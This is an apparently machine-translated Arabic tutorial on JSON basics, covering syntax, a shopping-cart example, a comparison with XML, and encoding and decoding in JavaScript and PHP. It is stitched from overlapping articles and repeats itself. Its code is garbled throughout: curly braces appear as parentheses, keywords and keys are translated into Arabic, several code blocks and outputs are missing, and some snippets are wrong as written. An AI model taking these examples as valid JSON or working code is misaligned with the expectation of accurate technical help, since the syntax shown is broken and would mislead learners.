لغة جيسون. جيسون: الأساسيات

بالتأكيد سمعت عن JSON. ما هذا؟ ماذا يمكن أن يفعل وكيفية استخدامه؟

سنغطي في هذا البرنامج التعليمي أساسيات JSON ونغطي النقاط التالية:

  • ما هو جسون؟
  • ما هو استخدام JSON؟
  • كيفية إنشاء سلسلة JSON؟
  • مثال بسيط لسلسلة JSON.
  • دعونا نقارن JSON وXML.
  • كيفية العمل مع JSON في JavaScript وPHP؟
ما هو جسون؟

JSON هي طريقة بسيطة تعتمد على النص لتخزين البيانات المنظمة ونقلها. باستخدام بناء جملة بسيط، يمكنك بسهولة تخزين أي شيء بدءًا من رقم واحد وحتى السلاسل والمصفوفات والكائنات في نص عادي. يمكنك أيضًا ربط المصفوفات والكائنات معًا لإنشاء بنيات بيانات معقدة.

بمجرد إنشاء سلسلة JSON، يكون من السهل إرسالها إلى تطبيق آخر أو إلى موقع آخر على الشبكة لأنها نص عادي.

يتمتع JSON بالمزايا التالية:

  • انها مدمجة.
  • جملها سهلة القراءة والتأليف من قبل كل من البشر وأجهزة الكمبيوتر.
  • يمكن تحويلها بسهولة إلى بنية بيانات لمعظم لغات البرمجة (الأرقام، السلاسل، القيم المنطقية، المصفوفات، إلخ)
  • تحتوي العديد من لغات البرمجة على وظائف ومكتبات لقراءة وإنشاء هياكل JSON.

يرمز الاسم JSON إلى JavaScript Object Notation. كما يوحي الاسم، فهو يعتمد على طريقة تعريف الكائنات (مثل إنشاء المصفوفات الترابطية في اللغات الأخرى) والمصفوفات.

ما هو استخدام JSON؟

الاستخدام الأكثر شيوعًا لـ JSON هو إرسال البيانات من الخادم إلى المتصفح. عادةً، يتم تسليم بيانات JSON باستخدام AJAX، مما يسمح للمتصفح والخادم بالتواصل دون الحاجة إلى إعادة تحميل الصفحة.

  • يقوم المستخدم بالنقر على الصورة المصغرة للمنتج في متجر عبر الإنترنت.
  • يقوم JavaScript الذي يعمل على المتصفح بإنشاء طلب AJAX إلى برنامج PHP النصي الذي يعمل على الخادم، ويمرر معرف المنتج المحدد.
  • يحصل برنامج PHP النصي على اسم المنتج ووصفه وسعره ومعلومات أخرى من قاعدة البيانات. ثم يقوم بتكوين سلسلة JSON من البيانات وإرسالها إلى المتصفح.
  • يتلقى جافا سكريبت الذي يعمل على المتصفح سلسلة JSON، ويفك تشفيرها، ويعرض معلومات المنتج على الصفحة للمستخدم.
  • يمكنك أيضًا استخدام JSON لإرسال البيانات من المتصفح إلى الخادم عن طريق تمرير سلسلة JSON كمعلمة لطلبات GET أو POST. لكن هذه الطريقة أقل شيوعًا، حيث يمكن تبسيط نقل البيانات من خلال طلبات AJAX. على سبيل المثال، قد يتم تضمين معرف المنتج في عنوان URL كجزء من طلب GET.

    تحتوي مكتبة jQuery على عدة طرق، مثل getJSON() وparseJSON()، التي تسهل استرداد البيانات باستخدام JSON من خلال طلبات AJAX.

    كيفية إنشاء سلسلة JSON؟

    هناك بعض القواعد الأساسية لإنشاء سلسلة JSON:

    • تحتوي سلسلة JSON إما على مصفوفة من القيم أو كائن (مصفوفة ترابطية من أزواج الاسم/القيمة).
    • مجموعة مصفوفةمحاطة بين قوسين مربعين ([ و ]) وتحتوي على قائمة قيم مفصولة بفواصل.
    • شيءمحاط بأقواس متعرجة (( و )) ويحتوي على قائمة مفصولة بفواصل لأزواج الأسماء/القيم.
    • زوج الاسم/القيمةيتكون من اسم الحقل المحاط بعلامات اقتباس مزدوجة، متبوعًا بنقطتين (:) وقيمة الحقل.
    • معنىفي صفيف أو كائن يمكن أن يكون هناك:
      • الرقم (عدد صحيح أو نقطة عائمة)
      • سلسلة (في علامات الاقتباس المزدوجة)
      • القيمة المنطقية (صواب أو خطأ)
      • مصفوفة أخرى (محاطة بين قوسين مربعين)
      • كائن آخر (محاط بأقواس متعرجة)
      • قيمة فارغة

    لتضمين علامات الاقتباس المزدوجة في سلسلة، تحتاج إلى استخدام شرطة مائلة عكسية: \" . كما هو الحال مع العديد من لغات البرمجة، يمكنك وضع أحرف التحكم والرموز السداسية في سلسلة عن طريق يسبقها بشرطة مائلة عكسية. راجع موقع JSON للحصول على التفاصيل.

    مثال بسيط لسلسلة JSON

    فيما يلي مثال للطلب بتنسيق JSON:

    ( "معرف الطلب": 12345، "اسم المتسوق": "فانيا إيفانوف"، "البريد الإلكتروني للمتسوق": " [البريد الإلكتروني محمي]"، "المحتويات": [( "معرف المنتج": 34، "اسم المنتج": "المنتج المتميز"، "الكمية": 1)، ( "معرف المنتج": 56، "اسم المنتج": "المنتج المعجزة"، "الكمية": 3 ) ], "اكتمل الطلب": صحيح )

    دعونا نلقي نظرة على السطر بالتفصيل:

    • نقوم بإنشاء كائن باستخدام الأقواس المتعرجة (( و )).
    • يحتوي الكائن على عدة أزواج من الاسم/القيمة: "معرف الطلب": 12345 خاصية بالاسم "معرف الطلب" وقيمة عددية 12345 "shopperName": "Vanya Ivanov" خاصية بالاسم "shopperName" وقيمة السلسلة "Vanya Ivanov" " "البريد الإلكتروني للمتسوق": " [البريد الإلكتروني محمي]"خاصية باسم "shopperEmail" بقيمة سلسلة " [البريد الإلكتروني محمي]" "المحتويات": [ ... ] خاصية تسمى "المحتويات" وقيمتها عبارة عن مصفوفة "orderCompleted": صحيح خاصية تسمى "orderCompleted" والقيمة المنطقية صحيحة
    • يوجد كائنان في مصفوفة "المحتويات" يمثلان عناصر فردية بالترتيب. يحتوي كل كائن على ثلاث خصائص: ProductID وproductName والكمية.

    بالمناسبة، نظرًا لأن JSON يعتمد على الإعلان عن كائنات JavaScript، يمكنك بسرعة وسهولة جعل سلسلة JSON أعلاه كائن JavaScript:

    var cart = ( "معرف الطلب": 12345، "اسم المتسوق": "فانيا إيفانوف"، "البريد الإلكتروني للمتسوق": " [البريد الإلكتروني محمي]"، "المحتويات": [( "معرف المنتج": 34، "اسم المنتج": "المنتج المتميز"، "الكمية": 1)، ( "معرف المنتج": 56، "اسم المنتج": "المنتج المعجزة"، "الكمية": 3 ) ], "اكتمل الطلب": صحيح );

    مقارنة JSON وXML

    من نواحٍ عديدة، يمكنك التفكير في JSON كبديل لـ XML، على الأقل في مجال تطبيقات الويب. يعتمد مفهوم AJAX في الأصل على استخدام XML لنقل البيانات بين الخادم والمتصفح. لكن في السنوات الأخيرة، أصبحت JSON شائعة بشكل متزايد في نقل بيانات AJAX.

    على الرغم من أن XML هي تقنية مجربة يتم استخدامها في عدد لا بأس به من التطبيقات، إلا أن JSON يتمتع بميزة كونه تنسيق بيانات أكثر إحكاما وأسهل في التعرف عليه.

    هذا هو الشكل الذي سيبدو عليه كائن المثال أعلاه في XML:

    معرف الطلب 12345 اسم المتسوق فانيا إيفانوف المتسوق البريد الإلكتروني [البريد الإلكتروني محمي]محتويات المنتج رقم المنتج 34 اسم المنتج كمية المنتج الفائق 1 رقم المنتج 56 اسم المنتج كمية المنتج المعجزة 3 الطلب مكتمل صحيح

    إصدار XML أكبر بكثير. في الواقع، يبلغ طوله 1128 حرفًا، بينما يبلغ طول إصدار JSON 323 حرفًا فقط. من الصعب أيضًا فهم إصدار XML.

    وبطبيعة الحال، هذا مثال جذري. ومن الممكن إنشاء سجل XML أكثر إحكاما. ولكن حتى أنها ستكون أطول بكثير من مكافئ JSON.

    العمل مع سلسلة JSON في JavaScript

    يحتوي JSON على تنسيق بسيط، ولكن إنشاء سلسلة JSON يدويًا يعد أمرًا شاقًا للغاية. بالإضافة إلى ذلك، غالبًا ما تحتاج إلى أخذ سلسلة JSON وتحويل محتوياتها إلى متغير يمكن استخدامه في التعليمات البرمجية.

    تحتوي معظم لغات البرمجة على أدوات لتحويل المتغيرات بسهولة إلى سلاسل JSON والعكس صحيح.

    إنشاء سلسلة JSON من متغير

    تحتوي JavaScript على طريقة JSON.stringify() مدمجة تأخذ متغيرًا وترجع سلسلة JSON تمثل محتوياته. على سبيل المثال، لنقم بإنشاء كائن JavaScript يحتوي على معلومات الطلب من مثالنا، ثم نقوم بإنشاء سلسلة JSON منه:

    var cart = ( "معرف الطلب": 12345، "اسم المتسوق": "فانيا إيفانوف"، "البريد الإلكتروني للمتسوق": " [البريد الإلكتروني محمي]"، "المحتويات": [( "معرف المنتج": 34، "اسم المنتج": "المنتج المتميز"، "الكمية": 1)، ( "معرف المنتج": 56، "اسم المنتج": "المنتج المعجزة"، "الكمية": 3 ) ], "orderCompleted": true );

    سوف ينتج هذا الكود:

    لاحظ أن الأسلوب JSON.stringify() يُرجع سلسلة JSON بدون مسافات. من الصعب قراءتها، ولكنها أكثر إحكاما للنقل عبر الشبكة.

    هناك عدة طرق لتحليل سلسلة JSON في JavaScript، ولكن الأكثر أمانًا والأكثر موثوقية هو استخدام طريقة JSON.parse() المضمنة. يتلقى سلسلة JSON ويعيد كائن JavaScript أو مصفوفة تحتوي على البيانات. على سبيل المثال:

    var jsonString = " \ ( \ "معرف الطلب": 12345، \ "shopperName": "Vanya Ivanov"، \ "shopperEmail": " [البريد الإلكتروني محمي]"، \ "المحتويات": [ \ ( \ "معرف المنتج": 34، \ "اسم المنتج": "المنتج الفائق"، \ "الكمية": 1 \)، \ ( \ "معرف المنتج": 56، \ "اسم المنتج": "السلع المعجزة"، \"الكمية": 3\ ) \ ]، \"اكتمل الطلب": صحيح \ ) \"; فار العربة = JSON.parse(jsonString); تنبيه (cart.shopperEmail)؛ تنبيه (cart.contents.productName)؛

    لقد أنشأنا متغير jsonString يحتوي على سلسلة JSON لترتيب المثال الخاص بنا. نقوم بعد ذلك بتمرير هذه السلسلة إلى الأسلوب JSON.parse()، الذي يقوم بإنشاء كائن يحتوي على بيانات JSON ويخزنها في متغير سلة التسوق. كل ما تبقى هو التحقق من خلال عرض خصائص كائن shopperEmail واسم المنتج الخاص بمصفوفة المحتويات.

    ونتيجة لذلك، سوف نحصل على الإخراج التالي:

    في تطبيق حقيقي، ستتلقى تعليمات JavaScript البرمجية الترتيب كسلسلة JSON في استجابة AJAX من البرنامج النصي للخادم، وتمرير السلسلة إلى طريقة JSON.parse()، ثم استخدام البيانات لعرضها على صفحة المستخدم.

    يتمتع كل من JSON.stringify() وJSON.parse() بإمكانيات أخرى، مثل استخدام وظائف رد الاتصال لتحويل بيانات معينة بشكل مخصص. تعتبر هذه الخيارات مفيدة جدًا لتحويل البيانات المتنوعة إلى كائنات JavaScript مناسبة.

    العمل مع سلسلة JSON في PHP

    PHP، مثل JavaScript، لديها وظائف مدمجة للعمل مع سلاسل JSON.

    إنشاء سلسلة JSON من متغير PHP

    تأخذ الدالة json_encode() متغير PHP وتقوم بإرجاع سلسلة JSON تمثل محتويات المتغير. فيما يلي مثال الطلب الخاص بنا، مكتوبًا بلغة PHP:

    يُرجع هذا الرمز نفس سلسلة JSON تمامًا كما في مثال JavaScript:

    ("معرف الطلب":12345،"shopperName": "فانيا إيفانوف"، "shopperEmail": " [البريد الإلكتروني محمي]"،"contents":[("productID":34,"productName":"المنتج الفائق"،"quantity":1),("productID":56,"productName":"منتج معجزة"،"quantity": 3)]"اكتمل الطلب":صحيح)

    في تطبيق حقيقي، سيرسل برنامج PHP النصي سلسلة JSON هذه كجزء من استجابة AJAX إلى المتصفح، حيث سيقوم كود JavaScript، باستخدام طريقة JSON.parse()، بتحليلها مرة أخرى إلى متغير لعرضه على صفحة المستخدم .

    يمكنك تمرير إشارات مختلفة كوسيطة ثانية للدالة json_encode(). بمساعدتهم، يمكنك تغيير مبادئ تشفير محتويات المتغيرات إلى سلسلة JSON.

    قم بإنشاء متغير من سلسلة JSON

    لتحويل سلسلة JSON إلى متغير PHP، استخدم طريقة json_decode(). لنستبدل مثالنا لـ JavaScript بطريقة JSON.parse() بكود PHP:

    كما هو الحال مع جافا سكريبت، سوف ينتج عن هذا الكود ما يلي:

    [البريد الإلكتروني محمي]منتج معجزة

    بشكل افتراضي، تقوم الدالة json_decode() بإرجاع كائنات JSON ككائنات PHP. توجد كائنات PHP عامة من فئة stdClass. ولهذا السبب نستخدم -> للوصول إلى خصائص الكائن في المثال أعلاه.

    إذا كنت بحاجة إلى كائن JSON كمصفوفة PHP مرتبطة، فستحتاج إلى تمرير true باعتباره الوسيط الثاني للدالة json_decode(). على سبيل المثال:

    $cart = json_decode($jsonString, true); صدى $cart["shopperEmail"] . "
    "; echo $cart["contents"]["productName"] . "
    ";

    سينتج عن هذا الكود نفس المخرجات:

    [البريد الإلكتروني محمي]منتج معجزة

    يمكنك أيضًا تمرير وسائط أخرى إلى الدالة json_decode() لتحديد عمق العودية وكيفية التعامل مع الأعداد الصحيحة الكبيرة.

    خاتمة

    على الرغم من سهولة فهم واستخدام JSON، إلا أنها أداة مفيدة ومرنة للغاية لنقل البيانات بين التطبيقات وأجهزة الكمبيوتر، خاصة عند استخدام AJAX. إذا كنت تخطط لتطوير تطبيق AJAX، فلا شك أن JSON ستصبح أداة أساسية في ورشة العمل الخاصة بك.

    ما هو JSON وماذا يمكن أن يفعل؟ ستتعلم في هذه المقالة كيفية استخدام JSON للعمل مع البيانات بسهولة. سننظر أيضًا في كيفية العمل مع JSON باستخدام PHP وJavaScript.

    إذا قمت بتطوير مواقع ويب أو تطبيقات ويب بشكل عام، فمن المحتمل أنك سمعت عن JSON، على الأقل بشكل عابر. ولكن ماذا يعني JSON بالضبط؟ ما الذي يمكن أن يفعله تنسيق البيانات هذا وكيف يمكن استخدامه؟

    في هذه المقالة سوف نتعلم أساسيات العمل بتنسيق json. وسنتابع المواضيع التالية:

    • ما هو تنسيق JSON؟
    • كيفية إنشاء سلاسل JSON؟
    • مثال بسيط لبيانات JSON
    • مقارنة JSON مع XML

    لنبدأ!

    ما هو تنسيق JSON؟

    JSON هي طريقة بسيطة تعتمد على النص لتخزين البيانات المنظمة ونقلها. باستخدام بناء جملة بسيط، يمكنك بسهولة تخزين كل من الأرقام والسلاسل البسيطة، بالإضافة إلى المصفوفات والكائنات، باستخدام النص فقط. يمكنك أيضًا ربط الكائنات والمصفوفات، مما يسمح لك بإنشاء هياكل بيانات معقدة.

    بمجرد إنشاء سلسلة JSON، يمكن إرسالها بسهولة إلى أي تطبيق أو كمبيوتر لأنها مجرد نص.

    تتمتع JSON بالعديد من المزايا:

    • انها مدمجة
    • إنه قابل للقراءة من قبل الإنسان وسهل القراءة بواسطة أجهزة الكمبيوتر
    • يمكن تحويلها بسهولة إلى تنسيقات برمجية: القيم الرقمية، والسلاسل، والتنسيق المنطقي، والقيمة الخالية، والمصفوفات، والمصفوفات الترابطية.
    • تحتوي جميع لغات البرمجة تقريبًا على وظائف تسمح لك بقراءة وإنشاء تنسيق بيانات json.

    حرفيًا، يشير الاختصار JSON إلى JavaScript Object Notation. كما هو موضح سابقًا، يعتمد هذا التنسيق على إنشاء كائنات، وهو شيء مشابه للمصفوفات الترابطية في لغات البرمجة الأخرى.

    ما هي الأغراض التي يتم استخدام JSON لها؟

    الأهم من ذلك كله، يتم استخدام json لتبادل البيانات بين جافا سكريبت وجانب الخادم (php). وبعبارة أخرى، لتكنولوجيا اياكس. يعد هذا مناسبًا جدًا عند تمرير متغيرات متعددة أو صفائف بيانات كاملة.

    إليك ما يبدو في المثال:

  • يقوم المستخدم بالنقر على الصورة المصغرة
  • تعالج JavaScript هذا الحدث وترسل طلب ajax إلى البرنامج النصي PHP، مع تمرير معرف الصورة.
  • على الخادم، يتلقى PHP وصف الصورة، واسم الصورة، وعنوان الصورة الكبيرة وغيرها من المعلومات من قاعدة البيانات. وبعد استلامه، يقوم بتحويله إلى تنسيق JSON ويرسله مرة أخرى إلى صفحة المستخدم.
  • يتلقى جافا سكريبت الاستجابة في شكل JSON، ويعالج البيانات، وينشئ كود html ويعرض صورة مكبرة مع وصف ومعلومات أخرى.
  • هذه هي الطريقة التي يتم بها تكبير الصورة دون إعادة تحميل الصفحة في المتصفح. يعد هذا مناسبًا جدًا عندما نحتاج إلى تلقي بيانات جزئية، أو نقل كمية صغيرة من المعلومات إلى الخادم.

    يحتوي jQuery المفضل لدى الجميع على وظائف getJSON() وparseJSON()، والتي تساعدك على العمل مع التنسيق من خلال طلبات ajax.

    كيفية إنشاء سلاسل JSON؟


    فيما يلي القواعد الأساسية لإنشاء سلاسل JSON:

    • تحتوي سلسلة JSON على مصفوفة من القيم وكائن (مصفوفة ترابطية مع أزواج الاسم/القيمة).
    • يجب أن يكون المصفوفة ملفوفة بين قوسين مربعين، [ و ]، ويمكن أن تحتوي على قائمة من القيم المفصولة بفاصلة.
    • يتم تغليف الكائنات باستخدام أذرع متعرجة، ( و )، وتحتوي أيضًا على أزواج اسم/قيمة مفصولة بفاصلة.
    • تتكون أزواج الاسم/القيمة من اسم الحقل (بين علامتي اقتباس مزدوجتين) متبوعًا بنقطتين (:) متبوعتين بقيمة الحقل.
    • يمكن أن تكون القيم الموجودة في المصفوفة أو الكائن:
      • رقمي (عدد صحيح أو جزء منقط)
      • سلاسل (ملفوفة بين علامتي اقتباس مزدوجتين)
      • منطقية (صواب أو خطأ)
      • صفائف أخرى (محاطة بين قوسين مربعين [و])
      • أشياء أخرى (ملفوفة بأذرع مجعدة ( و ))
      • قيمة فارغة

    مهم! إذا كنت تستخدم علامات الاقتباس المزدوجة في القيم، فاحذفها باستخدام شرطة مائلة عكسية: \". يمكنك أيضًا استخدام الأحرف ذات الترميز السداسي، تمامًا كما تفعل في لغات البرمجة الأخرى.

    مثال بسيط لبيانات JSON

    يوضح المثال التالي كيف يمكنك حفظ البيانات في "عربة التسوق" الخاصة بمتجر عبر الإنترنت باستخدام تنسيق JSON:

    ("معرف الطلب": 12345، "اسم المتسوق": "جون سميث"، "البريد الإلكتروني للمتسوق": " [البريد الإلكتروني محمي]"، "contents": [( "productID": 34، "productName": "SuperWidget"، "quantity": 1)، ( "productID": 56، "productName": "WonderWidget"، "quantity": 3 ) ]، "اكتمل الطلب": صحيح )

    دعونا نقسم هذه البيانات قطعة قطعة:

  • في البداية والنهاية نستخدم الأذرع المتعرجة ( و ) لتوضيح أن هذا كائن.
  • داخل الكائن لدينا عدة أزواج من الاسم/القيمة:
  • "معرف الطلب": 12345 - الحقل المسمى معرف الطلب والقيمة 12345
  • "shopperName": "John Smith" - الحقل المسمى shopperName والقيمة John Smith
  • "shopperEmail": "johnsmith@ example.com" - كما هو الحال في الحقل السابق، يتم تخزين البريد الإلكتروني للمشتري هنا.
  • "المحتويات": [ ... ] - حقل يسمى المحتوى وقيمته عبارة عن مصفوفة.
  • "orderCompleted": صحيح - حقل يسمى orderCompleted وقيمته صحيحة
  • داخل مصفوفة المحتويات، لدينا كائنان يعرضان محتويات العربة. يحتوي كل كائن منتج على ثلاث خصائص: معرف المنتج واسم المنتج والكمية.
  • أخيرًا، نظرًا لأن JSON مطابق للكائنات في JavaScript، يمكنك بسهولة أخذ هذا المثال وإنشاء كائن JavaScript منه:

    var cart = ("معرف الطلب": 12345، "shopperName": "John Smith"، "shopperEmail": " [البريد الإلكتروني محمي]"، "contents": [( "productID": 34، "productName": "SuperWidget"، "quantity": 1)، ( "productID": 56، "productName": "WonderWidget"، "quantity": 3 ) ], "اكتمل الطلب": صحيح );

    مقارنة JSON مع XML

    في معظم الحالات، ستفكر في JSON كبديل لـ XML - على الأقل داخل تطبيقات الويب. يستخدم مفهوم Ajax في الأصل XML لتبادل البيانات بين الخادم والمتصفح، ولكن في السنوات الأخيرة أصبح JSON أكثر شيوعًا لنقل بيانات Ajax.

    على الرغم من أن XML هي تقنية مجربة ومختبرة يتم استخدامها من قبل العديد من التطبيقات، إلا أن مزايا تنسيق JSON هي أنه أكثر إحكاما وأسهل في الكتابة والقراءة.

    فيما يلي مثال JSON أعلاه، تمت إعادة كتابته بتنسيق XML فقط:

    معرف الطلب 12345 اسم المتسوق جون سميث المتسوق البريد الإلكتروني [البريد الإلكتروني محمي]محتويات معرف المنتج 34 اسم المنتج كمية SuperWidget 1 معرف المنتج 56 اسم المنتج WonderWidget الكمية 3 طلب مكتمل صحيح

    كما ترون، فهو أطول بعدة مرات من JSON. في الواقع، يبلغ طول هذا المثال 1128 حرفًا، بينما يبلغ طول إصدار JSON 323 حرفًا فقط. كما أن إصدار XML أكثر صعوبة في القراءة.

    وبطبيعة الحال، لا يمكن الحكم على مثال واحد فقط، ولكن حتى الكميات الصغيرة من المعلومات تشغل مساحة أقل في تنسيق JSON مقارنة بـ XML.

    كيفية العمل مع JSON عبر PHP وJS؟

    نأتي الآن إلى الجزء الأكثر إثارة للاهتمام - الجانب العملي لتنسيق JSON. أولاً، دعنا نشيد بجافا سكريبت، ثم سنرى كيف يمكنك التعامل مع JSON من خلال PHP.

    إنشاء وقراءة تنسيق JSON باستخدام JavaScript


    على الرغم من أن تنسيق JSON بسيط، إلا أنه من الصعب الكتابة يدويًا عند تطوير تطبيقات الويب. علاوة على ذلك، غالبًا ما يتعين عليك تحويل سلاسل JSON إلى متغيرات ثم استخدامها في التعليمات البرمجية الخاصة بك.

    ولحسن الحظ، توفر العديد من لغات البرمجة أدوات للعمل مع سلاسل JSON. الفكرة الرئيسية منها:

    لإنشاء سلاسل JSON، عليك أن تبدأ بالمتغيرات التي تحتوي على بعض القيم، ثم تمررها عبر دالة تحول البيانات إلى سلسلة JSON.

    عند قراءة سلاسل JSON، تبدأ بسلسلة JSON تحتوي على بيانات معينة، وتمرر السلسلة من خلال دالة تنشئ متغيرات تحتوي على البيانات.

    دعونا نرى كيف يتم ذلك في جافا سكريبت.

    إنشاء سلسلة JSON من متغير JavaScript

    تحتوي JavaScript على طريقة مضمنة، JSON.stringify()، والتي تأخذ متغير جافا سكريبت وتقوم بإرجاع سلسلة json تمثل محتويات المتغير. على سبيل المثال، لنستخدم كائنًا تم إنشاؤه مسبقًا ونحوله إلى سلسلة JSON.

    var cart = ("معرف الطلب": 12345، "shopperName": "John Smith"، "shopperEmail": " [البريد الإلكتروني محمي]"، "contents": [( "productID": 34، "productName": "SuperWidget"، "quantity": 1)، ( "productID": 56، "productName": "WonderWidget"، "quantity": 3 ) ]، "اكتمل الطلب": تنبيه صحيح (JSON.stringify(cart));

    وهذا ما سيظهر على الشاشة:

    ("معرف الطلب":12345،"shopperName": "John Smith"، "shopperEmail": " [البريد الإلكتروني محمي]"، "contents":[("productID":34,"productName": "SuperWidget"، "quantity": 1)، ("productID":56، "productName": "WonderWidget"، "quantity": 3) ]، "اكتمل الطلب":صحيح)

    لاحظ أن JSON.stringify() يُخرج سلاسل JSON بدون مسافات. من الصعب قراءتها، ولكنها أكثر إحكاما، وهو أمر مهم عند إرسال البيانات.

    إنشاء متغير JavaScript من سلسلة JSON

    هناك عدة طرق لتحليل سلاسل JSON، الطريقة الأكثر قبولًا وأمانًا هي استخدام طريقة JSON.parse(). يأخذ سلسلة JSON ويعيد كائن JavaScript أو مصفوفة تحتوي على بيانات JSON. هنا مثال:

    var jsonString = " \ ( \ "معرف الطلب": 12345، \ "shopperName": "John Smith"، \ "shopperEmail": " [البريد الإلكتروني محمي]"، \ "contents": [ \ ( \ "productID": 34، \ "productName": "SuperWidget"، \ "quantity": 1 \)، \ ( \ "productID": 56، \ "productName": " WonderWidget"، \"quantity": 3\ ) \ ]، \"orderCompleted": true \ ) \"; عربة فار = JSON.parse(jsonString); تنبيه (cart.shopperEmail)؛ تنبيه (cart.contents.productName)؛

    قمنا هنا بإنشاء متغير، jsonString، والذي يحتوي على سلسلة JSON من الأمثلة المقدمة مسبقًا. ثم مررنا هذه السلسلة عبر JSON.parse() لإنشاء كائن يحتوي على بيانات JSON، والتي تم تخزينها في متغير سلة التسوق. وأخيرًا، نتحقق من توفر البيانات ونعرض بعض المعلومات باستخدام نافذة التنبيه المشروطة.

    سيتم عرض المعلومات التالية:

    في تطبيق ويب حقيقي، يجب أن يتلقى رمز JavaScript الخاص بك سلسلة JSON كاستجابة من الخادم (بعد إرسال طلب AJAX)، ثم تحليل السلسلة وعرض محتويات سلة التسوق للمستخدم.

    إنشاء وقراءة تنسيق JSON باستخدام PHP

    PHP، مثل JavaScript، لديها وظائف تسمح لك بتحويل المتغيرات إلى تنسيق JSON، والعكس صحيح. دعونا ننظر إليهم.

    إنشاء سلسلة JSON من متغير PHP

    يأخذ Json_encode() متغير PHP ويعيد سلسلة JSON التي تمثل بيانات المتغير. فيما يلي مثالنا عن "عربة التسوق" المكتوبة بلغة PHP:

    ينتج عن هذا الكود نفس النتيجة تمامًا مثل مثال JavaScript - سلسلة JSON صالحة تمثل محتويات المتغيرات:

    ("معرف الطلب":12345،"shopperName": "John Smith"، "shopperEmail": " [البريد الإلكتروني محمي]"،"contents":[("productID":34,"productName": "SuperWidget"، "quantity": 1)،("productID":56، "productName": "WonderWidget"، "quantity": 3) ]"اكتمل الطلب":صحيح)

    في الواقع، يجب أن يرسل برنامج PHP النصي سلسلة JSON كرد على طلب AJAX، حيث ستستخدم JavaScript JSON.parse() لتحويل السلسلة إلى متغيرات.

    في الدالة json_encode()، يمكنك تحديد معلمات إضافية تسمح لك بتحويل بعض الأحرف إلى شكل سداسي عشري.

    إنشاء متغير PHP من سلسلة JSON

    كما هو مذكور أعلاه، هناك وظيفة json_decode() تسمح لك بفك تشفير سلاسل JSON ووضع المحتويات في متغيرات.

    كما هو الحال مع JavaScript، سيُخرج هذا الكود ما يلي:

    [البريد الإلكتروني محمي] WonderWidget

    افتراضيًا، تقوم الدالة json_decode()‎ بإرجاع كائنات JSON ككائنات PHP. كما هو الحال مع بناء الجملة العادي، نستخدم -> للوصول إلى خصائص الكائن.

    إذا أردت لاحقًا استخدام البيانات كمصفوفة ترابطية، فما عليك سوى تمرير المعلمة الثانية الحقيقية إلى الدالة json_decode(). هنا مثال:

    $cart = json_decode($jsonString, true); صدى $cart["shopperEmail"] . "
    "; echo $cart["contents"]["productName"] . "
    ";

    وهذا ينتج نفس النتيجة:

    [البريد الإلكتروني محمي] WonderWidget

    يمكنك أيضًا تمرير وسائط إضافية إلى الدالة json_decode() لتحديد معالجة الأعداد الكبيرة والتكرار.

    في الختام حول تنسيق JSON

    إذا كنت ستقوم بإنشاء تطبيق ويب باستخدام تقنية Ajax، فمن المؤكد أنك ستستخدم تنسيق JSON لتبادل البيانات بين الخادم والمتصفح.


    JSON هو تنسيق نصي لتسجيل البيانات. فهو يسمح لك بالتمثيل في شكل نصي لكل من رقم واحد أو سلسلة وهياكل معقدة، على سبيل المثال، المصفوفات مع البيانات. يعد استخدام تنسيق التسجيل هذا مناسبًا لأنه سهل القراءة وبديهي، بينما يسمح لك في نفس الوقت بتخزين هياكل بيانات معقدة للغاية. بالإضافة إلى ذلك، فهو أكثر إحكاما من XML، لذلك في رأيي هو الأفضل لتبادل البيانات بين متصفح الويب والخادم.

    بناء جملة JSON مع الأمثلة

    عادةً ما تتم كتابة تنسيق json في متغيرين:

    1. تسلسل القيم. على سبيل المثال، سيبدو التسلسل 10 و15 و"الاختبار" بتنسيق JSON كما يلي:

    2. التسجيل على شكل مفتاح: أزواج القيمة. على سبيل المثال:

    ("الاسم الكامل": "إيفانوف سيرجي"، "تاريخ الميلاد": "1975/03/09")

    مثال أكثر تعقيدًا قليلاً:

    ("الاسم الكامل": "إيفانوف سيرجي"، "العنوان": ("المدينة": "موسكو"، "الشارع": "بياتنيتسكايا"، "المنزل": "35"))

    وظائف PHP للعمل مع تنسيق JSON

    في لغة PHP منذ الإصدار 5.2. هناك 4 وظائف فقط:

    • json_decode - يفك تشفير سلسلة JSON (يحصل على البيانات من سلسلة تنسيق json)
    • json_encode - إرجاع تمثيل JSON للبيانات (تحويل البيانات إلى سلسلة json)
    • json_last_error_msg - إرجاع سلسلة تشير إلى رسالة الخطأ الخاصة بالمكالمة الأخيرة لـ json_encode() أو json_decode()
    • json_last_error - إرجاع الخطأ الأخير

    في الأساس، في الغالب، يتم استخدام وظيفتين فقط: json_encode وjson_decode. لن أخوض في تفاصيل بناء الجملة، يمكنك إلقاء نظرة على php.net لمزيد من التفاصيل. مثال الاستخدام:

    $arr1 = array(0,1,2); $json_str = json_encode($arr1); صدى $json_str; // سيُخرج سلسلة json: $arr2 = json_decode($json_str); صدى $arr2; // سيتم الإخراج: 1

    يرجى ملاحظة: عند ترميز البيانات باللغة الروسية إلى تنسيق JSON، تقوم وظيفة json_encode بتحويل الأحرف الروسية إلى Unicode، أي. يستبدلها بـ \uXXXX وبالتالي تصبح سلسلة json غير قابلة للقراءة بالنسبة للبشر (ولكنها مفهومة للمتصفح). إذا كنت تريد تجنب التحويل إلى Unicode (على سبيل المثال، عند تصحيح التعليمات البرمجية)، فيمكنك ببساطة استخدام خيار JSON_UNESCAPED_UNICODE.

    وأيضًا، حتى لا تتم إضافة شرطات مائلة للتهرب أثناء التشفير وحتى يتم تشفير السلاسل ذات الأرقام كأرقام، يمكنك استخدام JSON_UNESCAPED_SLASHES وJSON_NUMERIC_CHECK. ونتيجة لذلك، لجعل سلسلة json قابلة للقراءة البشرية، سنفعل، على سبيل المثال، ما يلي:

    $arr = array("fio" => "إيفانوف سيرجي"، "age" => "32"، "vk_url" => "https://vk.com/id11111"); echo json_encode($arr, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_NUMERIC_CHECK);

    بدون استخدام هذه الخيارات سيكون السطر هكذا:

    ( "fio" : "\u0418\u0432\u0430\u043d\u043e\u0432 \u0421\u0435\u0440\u0433\u0435\u0439"، "age" : "32"، "vk_url": "https:\/\ /vk.com\/id11111")

    وباستخدام الخيارات نحصل على سطر قابل للقراءة:

    ( "fio" : "إيفانوف سيرجي"، "العمر" : 32، "vk_url" : "https://vk.com/id11111")

    نقطة أخرى: إذا كنت تريد أن تقوم الدالة json_decode بإرجاع مصفوفة عند فك تشفير سلسلة json، فما عليك سوى إضافة معلمة ثانية إلى الدالة تساوي true.

